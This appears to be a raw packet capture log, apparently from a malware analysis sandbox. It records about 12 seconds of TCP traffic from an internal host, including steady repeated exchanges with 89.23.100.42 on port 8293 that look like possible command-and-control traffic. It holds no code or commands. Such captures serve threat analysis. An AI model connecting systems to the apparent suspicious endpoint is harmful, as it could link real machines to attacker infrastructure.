Dec 27, 2024 14:43:05.825448036 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.829660892 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.829708099 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.829710960 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.837901115 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.837948084 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.837951899 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.881983995 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.882030964 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.882035017 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.888329983 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.888364077 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.888376951 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.888384104 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.888422966 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.892313957 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.896467924 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.896519899 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.896526098 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.899595976 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:05.900677919 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.900734901 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.900739908 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.905059099 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.905098915 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.905102015 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.909025908 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.909074068 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.909076929 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.913223028 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.913269997 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.913273096 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.916840076 CET	8293	49790	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:05.920883894 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.920921087 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.920923948 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.924870014 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.924930096 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.924932957 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.930274963 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.930309057 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.930316925 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.930320024 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.930373907 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.933146954 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.944911957 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.944951057 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.944962025 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.950661898 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.950705051 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.950709105 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.964138985 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.964176893 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.964180946 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.969455957 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.976373911 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.976413965 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.976417065 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.984697104 CET	49790	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.988109112 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.988182068 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.988193035 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.988197088 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.988241911 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.989204884 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.001168013 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.001223087 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.001226902 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.003559113 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.003591061 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.003596067 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.011785030 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.011817932 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.011826992 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.011831999 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.011883974 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.012903929 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.035690069 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.035736084 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.035743952 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.035748959 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.035778046 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.035804033 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.039465904 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.039577007 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.039592028 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.040432930 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.040513039 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.040515900 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.045380116 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.045474052 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.045479059 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.048574924 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.048651934 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.048656940 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.088995934 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.093314886 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.093812943 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.093817949 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.094141960 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.095443010 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.095448017 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.098073006 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.098129988 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.098134041 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.100140095 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.100235939 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.100282907 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.103781939 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:06.103795052 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:06.104496002 CET	8293	49790	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.126689911 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.145133018 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.145149946 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.145688057 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.146532059 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.146627903 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.146716118 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.191113949 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:06.191334963 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.193775892 CET	49790	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:06.237592936 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.237618923 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.237718105 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.237747908 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.237982988 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.238008022 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.263917923 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.279351950 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.310667992 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.313237906 CET	8293	49790	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.332606077 CET	49790	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:06.334949970 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:06.391906977 CET	8293	49790	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.391973019 CET	49790	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:06.452086926 CET	8293	49790	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.454509020 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.511576891 CET	8293	49790	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.570631981 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.570733070 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.570792913 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.604732037 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:06.621831894 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.621849060 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.724302053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.740514994 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:06.784305096 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.784441948 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.784518957 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.810818911 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.810853958 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:06.860140085 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:06.906137943 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:07.025767088 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:07.210812092 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:07.330406904 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:07.423082113 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:07.542660952 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:07.545420885 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.592672110 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:07.647269964 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.647284985 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.647792101 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.649302006 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.649394035 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.712258101 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:07.730071068 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:07.784461975 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.849669933 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:08.010246992 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:08.129811049 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:08.351459980 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:08.472376108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:08.481486082 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:08.601006031 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:08.651254892 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:08.771109104 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:08.771159887 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:08.890711069 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:08.945563078 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:09.065257072 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:09.065412045 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:09.184933901 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:09.314851046 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:09.434500933 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:09.529162884 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:09.648765087 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:09.708322048 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:09.828186035 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:09.842828035 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:09.962486029 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:09.991811991 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:10.111567974 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:10.114356995 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:10.233966112 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:10.238970041 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:10.358459949 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:10.358581066 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:10.478063107 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:10.492160082 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:10.611802101 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:10.964859009 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.084382057 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:11.087080956 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.206679106 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:11.207036972 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.326533079 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:11.328217983 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.447838068 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:11.471084118 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.591335058 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:11.605278015 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.724980116 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:11.756221056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.875682116 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:11.883733034 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:11.974230051 CET	49828	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:11.974280119 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:11.974318981 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:11.974344969 CET	49828	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:11.974523067 CET	49828	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:11.974536896 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:12.003429890 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:12.014761925 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:12.019334078 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:12.134301901 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:12.134377003 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:12.254080057 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:12.260674953 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:12.380254984 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:12.380388021 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:12.427395105 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:12.427485943 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:12.427640915 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:12.469052076 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:12.469069004 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:12.500042915 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:12.538244009 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:12.657751083 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:12.688770056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:12.808243036 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:12.871279001 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:12.901710033 CET	49839	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:12.990818024 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:13.017935991 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:13.021190882 CET	80	49839	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:13.021271944 CET	49839	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:13.025182962 CET	49839	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:13.137559891 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:13.144686937 CET	80	49839	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:13.166043043 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:13.238862038 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.242786884 CET	49828	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.242800951 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.243097067 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.243634939 CET	49828	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.243689060 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.285567045 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:13.451334953 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.451426983 CET	49828	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.784171104 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:13.903620005 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:13.916269064 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.035792112 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.053316116 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.172955990 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.173002005 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.211298943 CET	80	49839	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:14.211340904 CET	49839	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:14.292464972 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.292511940 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.297749996 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:14.297769070 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:14.297827005 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:14.309571028 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:14.309587955 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:14.412298918 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.454502106 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.574002981 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.574050903 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.693625927 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.721270084 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.840845108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.840902090 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:14.960442066 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:14.960491896 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.079926968 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.092901945 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.212475061 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.216053963 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.335587978 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.335802078 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.455307007 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.455524921 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.572133064 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:15.572432041 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:15.575011969 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.575117111 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.694602966 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.709502935 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.765822887 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:15.765834093 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:15.766056061 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:15.766211033 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:15.767940044 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:15.815329075 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:15.828974962 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.833409071 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:15.952946901 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:15.983321905 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:16.103050947 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:16.387998104 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:16.388078928 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:16.388103008 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:16.388117075 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:16.388143063 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:16.388168097 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:16.464725971 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:16.481472969 CET	49854	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:16.481481075 CET	443	49854	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:16.584388971 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:16.584471941 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:16.703910112 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:16.707825899 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:16.827457905 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:16.827557087 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:16.947051048 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:16.947096109 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:17.066644907 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:17.073379040 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:17.192864895 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:17.197690964 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:17.317316055 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:17.317392111 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:17.437016010 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:17.507626057 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:17.627166033 CET	8293	49748	89.23.100.42	192.168.2.4
